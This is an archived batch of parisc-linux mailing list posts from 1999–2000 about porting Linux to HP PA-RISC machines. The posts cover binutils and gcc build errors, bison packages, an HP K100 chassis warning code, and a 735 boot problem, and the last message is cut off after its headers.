X-Trace: ger.gmane.org 1416618867 31800 80.91.229.3 (22 Nov 2014 01:14:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:27 +0000 (UTC)
To: PARISC-LINUX@thepuffingroup.com
Original-X-From: ncc@milquetoast.cs.mcgill.ca  Fri Mar 31 08:55:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA29022
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Mar 2000 08:55:38 -0700
Original-Received: (qmail 19987 invoked by uid 15267); 31 Mar 2000 15:55:37 -0000
Delivered-To: thepuffi-PARISC-LINUX@thepuffingroup.com
Original-Received: (qmail 19953 invoked from network); 31 Mar 2000 15:55:35 -0000
Original-Received: from milquetoast.cs.mcgill.ca (132.206.2.5)
  by mailserv2.iuinc.com with SMTP; 31 Mar 2000 15:55:35 -0000
Original-Received: (from ncc@localhost)
	by milquetoast.cs.mcgill.ca (8.9.3/8.9.3) id KAA28626
	for PARISC-LINUX@thepuffingroup.com; Fri, 31 Mar 2000 10:55:35 -0500 (EST)
X-Mailer: Mutt 0.94.15i
In-Reply-To: willy@thepuffingroup.com's message [Re: [parisc-linux] Building bin-utils and gcc on HP735...] as of Fri, Mar 31, 2000 at 11:52:11AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7134

On Mar 31, willy@thepuffingroup.com wrote:
> On Fri, Mar 31, 2000 at 10:51:34AM +0000, BOSCHINI@ICIL64.CILEA.IT
> wrote:
> > Then, realisng a needed the parisc includes from the puffin, I
> > re-started from scratch. As sson as I start building, both with HP
> > Ansi C compiler as well with gcc 2.95, the binutils, I get an
> > error about not finding bison
> 
> That's correct, you need bison.  Would someone like to volunteer to
> make a bison .depot available from pehc?  It should build properly
> on HPUX; we certainly have a binary which works here, but I think it
> needs to be packaged properly...

There's one (1.28) at http://hpux.ee.ualberta.ca if that's good
enough...


From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: BOSCHINI@ICIL64.CILEA.IT
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building bin-utils and gcc on HP735...
Date: Fri, 31 Mar 2000 17:59:32 +0000 (MET-01DST)
Lines: 47
Approved: news@gmane.org
Message-ID: <01JNOWOXLRXQ000XJ1@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416618867 31804 80.91.229.3 (22 Nov 2014 01:14:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:27 +0000 (UTC)
Cc: PARISC-LINUX@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: BOSCHINI@ICIL64.CILEA.IT  Fri Mar 31 09:00:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA29142
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Mar 2000 09:00:08 -0700
Original-Received: (qmail 23754 invoked by uid 15267); 31 Mar 2000 16:00:07 -0000
Delivered-To: thepuffi-PARISC-LINUX@THEPUFFINGROUP.COM
Original-Received: (qmail 23737 invoked from network); 31 Mar 2000 16:00:06 -0000
Original-Received: from icil64.cilea.it (131.175.1.5)
  by mailserv2.iuinc.com with SMTP; 31 Mar 2000 16:00:06 -0000
Original-Received: from ICIL64.CILEA.IT by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01JNOWOXLRXO000XJ1@ICIL64.CILEA.IT>; Fri, 31 Mar 2000 17:59:32 MET-01DST
X-VMS-To: IN%"willy@thepuffingroup.com"
X-VMS-Cc: PARISC-LINUX@THEPUFFINGROUP.COM
Xref: news.gmane.org gmane.linux.ports.parisc:7135

Hello all, 

I installed bison and then flex (also needed) but still binutils make dies with
a strange (at leat to me) yacc error:

lex  /TMP/binutils/ld/ldlex.l && mv lex.yy.c ldlex.c
"/TMP/binutils/ld/ldlex.l" line 303: error 3: Parse tree too big, Try using %e
num
1000/1000 nodes(%e), 0/2500 positions(%p), 1/500 (%n), 0 transitions, 0/1000
packed char classes(%k), 0/4000 packed transitions(%a), 0/5000 output slots(%o)
*** Error exit code 1

Stop.
*** Error exit code 1


Nevertheless, being the impatient chap that I am, I stil ltried to buil
gg-latest, which,in turn, dies with an as error:

_muldi3
as: "/var/tmp/ccFVV40c.s", line 1: error 1052: Directive name not recognized -
FILE
as: "/var/tmp/ccFVV40c.s", line 3: error 1052: Directive name not recognized -
STABS
as: "/var/tmp/ccFVV40c.s", line 4: error 1052: Directive name not recognized -
STABS
as: "/var/tmp/ccFVV40c.s", line 5: error 1052: Directive name not recognized -
TEXT
as: "/var/tmp/ccFVV40c.s", line 6: error 1052: Directive name not recognized -
LTEXT
as: "/var/tmp/ccFVV40c.s", line 7: error 1052: Directive name not recognized -
STABS
as: "/var/tmp/ccFVV40c.s", line 8: error 1052: Directive name not recognized -
STABS


and so forth untill maximu error count is reached.....

are the two related ? 
or is it just me doing something very stupid ?

thanks in advance, 

matteo




From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building bin-utils and gcc on HP735...
Date: Fri, 31 Mar 2000 12:26:24 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20000331122624.C30107@thepuffingroup.com>
References: <01JNOWOXLRXQ000XJ1@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618868 31811 80.91.229.3 (22 Nov 2014 01:14:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:28 +0000 (UTC)
Cc: PARISC-LINUX@thepuffingroup.com
To: BOSCHINI@ICIL64.CILEA.IT
Original-X-From: willy@thepuffingroup.com  Fri Mar 31 09:26:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA29428
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Mar 2000 09:26:43 -0700
Original-Received: (qmail 12553 invoked by uid 15267); 31 Mar 2000 16:26:43 -0000
Delivered-To: thepuffi-PARISC-LINUX@thepuffingroup.com
Original-Received: (qmail 12520 invoked from network); 31 Mar 2000 16:26:41 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 31 Mar 2000 16:26:40 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA31437;
	Fri, 31 Mar 2000 12:26:24 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <01JNOWOXLRXQ000XJ1@ICIL64.CILEA.IT>; from BOSCHINI@ICIL64.CILEA.IT on Fri, Mar 31, 2000 at 05:59:32PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:7136

On Fri, Mar 31, 2000 at 05:59:32PM +0000, BOSCHINI@ICIL64.CILEA.IT wrote:
> I installed bison and then flex (also needed) but still binutils make dies with
> a strange (at leat to me) yacc error:
> 
> lex  /TMP/binutils/ld/ldlex.l && mv lex.yy.c ldlex.c
> "/TMP/binutils/ld/ldlex.l" line 303: error 3: Parse tree too big, Try using %e
> num
> 1000/1000 nodes(%e), 0/2500 positions(%p), 1/500 (%n), 0 transitions, 0/1000
> packed char classes(%k), 0/4000 packed transitions(%a), 0/5000 output slots(%o)

You need to rerun the configure script once you've installed flex; you're
still picking up HPUX lex.


From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K100 problem
Date: Fri, 31 Mar 2000 14:52:35 -0600 (CST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200003312052.OAA13787@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618868 31817 80.91.229.3 (22 Nov 2014 01:14:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: steve@osiris.silug.org  Fri Mar 31 13:52:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA31032
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Mar 2000 13:52:47 -0700
Original-Received: (qmail 25279 invoked by uid 15267); 31 Mar 2000 20:52:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25241 invoked from network); 31 Mar 2000 20:52:39 -0000
Original-Received: from pm3-isdn1-251.apci.net (HELO osiris.silug.org) (206.29.113.251)
  by mailserv2.iuinc.com with SMTP; 31 Mar 2000 20:52:39 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id OAA13787
	for parisc-linux@thepuffingroup.com; Fri, 31 Mar 2000 14:52:35 -0600
X-Mailer: ELM [version 2.4ME+ PL72 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7137

I've discovered an unused K100 at my new job.  I was told I could use
it, if I can make it work.  :-)

When I power it up, I get "WARN A008 CPU0" on the LCD.  Anybody have
any idea what that might mean?

Thanks...

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim_hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] K100 problem
Date: Fri, 31 Mar 2000 14:23:35 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <002801bf9b5f$c12180e0$4b58000f@jh73313p.cup.hp.com>
References: <200003312052.OAA13787@osiris.silug.org>
Reply-To: <hull@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618868 31820 80.91.229.3 (22 Nov 2014 01:14:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:28 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: jim_hull@hp.com  Fri Mar 31 15:23:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31858
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Mar 2000 15:23:39 -0700
Original-Received: (qmail 31668 invoked by uid 15267); 31 Mar 2000 22:23:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31657 invoked from network); 31 Mar 2000 22:23:38 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 31 Mar 2000 22:23:38 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by atlrel2.hp.com (Postfix) with ESMTP id A45AB1053
	for <parisc-linux@thepuffingroup.com>; Fri, 31 Mar 2000 17:23:36 -0500 (EST)
Original-Received: from jh73313p (jh73313p.cup.hp.com [15.0.88.75]) by lucy.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id OAA04442 for <parisc-linux@thepuffingroup.com>; Fri, 31 Mar 2000 14:23:05 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <200003312052.OAA13787@osiris.silug.org>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:7138

> I've discovered an unused K100 at my new job.  I was told I could use
> it, if I can make it work.  :-)
> 
> When I power it up, I get "WARN A008 CPU0" on the LCD.  Anybody have
> any idea what that might mean?

Here's the appropriate entry from the Chassis codes:

WARN  A008  No bootable device found 

 -- Jim


From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building bin-utils and gcc on HP735...
Date: Fri, 31 Mar 2000 16:27:42 -0600 (CST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200003312227.QAA16663@osiris.silug.org>
References: <20000331115211.B30107@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618869 31821 80.91.229.3 (22 Nov 2014 01:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: steve@osiris.silug.org  Fri Mar 31 15:27:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA32047
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Mar 2000 15:27:48 -0700
Original-Received: (qmail 2222 invoked by uid 15267); 31 Mar 2000 22:27:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2196 invoked from network); 31 Mar 2000 22:27:45 -0000
Original-Received: from pm3-isdn1-251.apci.net (HELO osiris.silug.org) (206.29.113.251)
  by mailserv2.iuinc.com with SMTP; 31 Mar 2000 22:27:44 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id QAA16663;
	Fri, 31 Mar 2000 16:27:42 -0600
In-Reply-To: <20000331115211.B30107@thepuffingroup.com> from "willy@thepuffingroup.com"
 at "Mar 31, 2000 11:52:11 am"
X-Mailer: ELM [version 2.4ME+ PL72 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7139

willy@thepuffingroup.com said:
> Would someone like to volunteer to make
> a bison .depot available from pehc?

There's a binary package for HP-UX 11.0 in

    ftp://puffin.external.hp.com/pub/parisc/binaries/depot/11.0/

(It's totally untested.  Please let me know if there are problems.)

I'll build a 10.20 package as soon as I get home and can reboot my
box...

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building bin-utils and gcc on HP735...
Date: Fri, 31 Mar 2000 19:19:21 -0600 (CST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200004010119.TAA17308@osiris.silug.org>
References: <200003312227.QAA16663@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618869 31823 80.91.229.3 (22 Nov 2014 01:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: steve@osiris.silug.org  Fri Mar 31 18:19:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA00730
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Mar 2000 18:19:32 -0700
Original-Received: (qmail 1038 invoked by uid 15267); 1 Apr 2000 01:19:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1010 invoked from network); 1 Apr 2000 01:19:26 -0000
Original-Received: from pm3-isdn0-189.apci.net (HELO osiris.silug.org) (206.29.113.189)
  by mailserv2.iuinc.com with SMTP; 1 Apr 2000 01:19:26 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id TAA17308
	for parisc-linux@thepuffingroup.com; Fri, 31 Mar 2000 19:19:21 -0600
In-Reply-To: <200003312227.QAA16663@osiris.silug.org> from Steven Pritchard at
 "Mar 31, 2000 04:27:42 pm"
X-Mailer: ELM [version 2.4ME+ PL72 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7140

There's an equally untested bison package for 10.20 at

    ftp://puffin.external.hp.com/pub/parisc/binaries/depot/10.20/

Feel free to let me know if there are any problems with it.

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR700
Date: Sat, 1 Apr 2000 02:47:12 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10004010239570.1371-100000@morph.net>
References: <200003310023.CAA11717@seger.axis.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618869 31826 80.91.229.3 (22 Nov 2014 01:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: funnyguy@digitalsmackdown.net  Sat Apr  1 00:47:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA02843
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 Apr 2000 00:47:15 -0700
Original-Received: (qmail 26631 invoked by uid 15267); 1 Apr 2000 07:47:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26609 invoked from network); 1 Apr 2000 07:47:14 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.244.20)
  by mailserv2.iuinc.com with SMTP; 1 Apr 2000 07:47:14 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id CAA02281
	for <parisc-linux@thepuffingroup.com>; Sat, 1 Apr 2000 02:47:12 -0500
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
In-Reply-To: <200003310023.CAA11717@seger.axis.se>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id AAA02843
Xref: news.gmane.org gmane.linux.ports.parisc:7141

please write a driver for the ncr200.
if someone could walk me thru finding a way to boot, then please do so.
the ethernet card doesn't seem to be sending anything.  that or the HP
firmware is reporting the wrong MAC address.

mike

On Fri, 31 Mar 2000, Lars Segerlund wrote:

> 
>  Ok, is there anything I should know before I give it a try to write a NCR700
>  driver for the NCR700 , is all I/O and such as usual in linux ?
> 
>  If I have got everything right I have to set up a crosscompiling gcc and boot
>  the stuff from the network ?
> 
>  After that it's only to figure out how to make the NCR700 spin ? and that 
> should
>  be it ? after that it would be self hosting ? Is there any other SCSI 
> drivers
>  that needs to be written ?
> 
>  / ls.
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735/125 boot problem?
Date: Sat, 1 Apr 2000 03:42:36 -0500 (EST)
Lines: 8
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10004010340190.1371-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618869 31834 80.91.229.3 (22 Nov 2014 01:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: funnyguy@digitalsmackdown.net  Sat Apr  1 01:42:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA03170
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 Apr 2000 01:42:41 -0700
Original-Received: (qmail 15587 invoked by uid 15267); 1 Apr 2000 08:42:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15529 invoked from network); 1 Apr 2000 08:42:38 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.244.20)
  by mailserv2.iuinc.com with SMTP; 1 Apr 2000 08:42:38 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id DAA02811
	for <parisc-linux@thepuffingroup.com>; Sat, 1 Apr 2000 03:42:37 -0500
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
Xref: news.gmane.org gmane.linux.ports.parisc:7142

we have another 735 here, and like, if i leave th HD connected, it shows
HPUX trying to start, but just sits at the screen with the yellow displays
at teh bottom.  if i disconnect the HD it does nothing, but reports
1,3,6,8 on the lights, which isn't in the user manual.  any clues?this
could be another linux machine.

mike


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@cmu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] The kernel.
Date: Wed, 17 Mar 1999 12:30:28 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <19990317123028.A25745@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618870 31838 80.91.229.3 (22 Nov 2014 01:14:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:30 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: pschwan@sod.res.cmu.edu  Wed Mar 17 12:31:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id MAA26562
	for <hppa-linux@sod.res.cmu.edu>; Wed, 17 Mar 1999 12:31:08 -0500
Original-Received: (qmail 4969 invoked by uid 15267); 17 Mar 1999 17:30:17 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 4814 invoked from network); 17 Mar 1999 17:30:04 -0000
Original-Received: from sod.res.cmu.edu (pschwan@128.2.91.30)
  by mailserv2.iuinc.com with SMTP; 17 Mar 1999 17:30:04 -0000
Original-Received: (from pschwan@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id MAA26547;
	Wed, 17 Mar 1999 12:30:29 -0500
X-Mailer: Mutt 0.91i
Xref: news.gmane.org gmane.linux.ports.parisc:7143

It seems that the mailing list will forward all mail except Alex's.
So, until I find out what's wrong...:

Date: Wed, 17 Mar 1999 11:35:44 -0500
From: Alex deVries <adevries@thepuffingroup.com>
X-Mailer: Mozilla 4.07 [en] (X11; I; Linux 2.0.36 i686)
Subject: The kernel.

In case you hadn't noticed, there's the stubs of the Linux kernel setup
in CVS now.

No, it doesn't compile.  There's a gazillion errors we need to work
through before the thing actually gets through 'make dep', but we're
working through those.

- Alex
--
Alex deVries, VP Engineering
The Puffin Group, Ottawa Canada
Everything on Linux, Linux on Everything.


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bas Valkema" <b_valkema@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 boot problem?
Date: Sat, 1 Apr 2000 11:59:20 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20000401100304.4404.qmail@hotmail.com>
References: <Pine.LNX.4.10.10004010340190.1371-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618870 31844 80.91.229.3 (22 Nov 2014 01:14:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:30 +0000 (UTC)
To: "Mike Brancato" <funnyguy@digitalsmackdown.net>,
        <parisc-linux@thepuffingroup.com>
Original-X-From: b_valkema@hotmail.com  Sat Apr  1 03:03:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA03763
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 Apr 2000 03:03:37 -0700
Original-Received: (qmail 19117 invoked by uid 15267); 1 Apr 2000 10:03:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19104 invoked from network); 1 Apr 2000 10:03:31 -0000
Original-Received: from law2-oe13.hotmail.com (HELO hotmail.com) (216.32.180.117)
  by mailserv2.iuinc.com with SMTP; 1 Apr 2000 10:03:31 -0000
Original-Received: (qmail 4405 invoked by uid 65534); 1 Apr 2000 10:03:04 -0000
X-Originating-IP: [145.98.39.104]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:7144

Had the same problem, was a bad HD.... or the wrong HP-UX Kernel (e.g. 800
series kernel on a 700 series machine)

hope this helps,

BaZ
----- Original Message -----
From: Mike Brancato <funnyguy@digitalsmackdown.net>
To: <parisc-linux@thepuffingroup.com>
Sent: Saturday, April 01, 2000 10:42 AM
Subject: [parisc-linux] 735/125 boot problem?


> we have another 735 here, and like, if i leave th HD connected, it shows
> HPUX trying to start, but just sits at the screen with the yellow displays
> at teh bottom.  if i disconnect the HD it does nothing, but reports
> 1,3,6,8 on the lights, which isn't in the user manual.  any clues?this
> could be another linux machine.
>
> mike
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 boot problem?
Date: Sat, 1 Apr 2000 05:14:25 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10004010513050.3286-100000@morph.net>
References: <20000401100304.4404.qmail@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618870 31847 80.91.229.3 (22 Nov 2014 01:14:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bas Valkema <b_valkema@hotmail.com>
Original-X-From: funnyguy@digitalsmackdown.net  Sat Apr  1 03:14:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA03987
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 Apr 2000 03:14:27 -0700
Original-Received: (qmail 22485 invoked by uid 15267); 1 Apr 2000 10:14:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
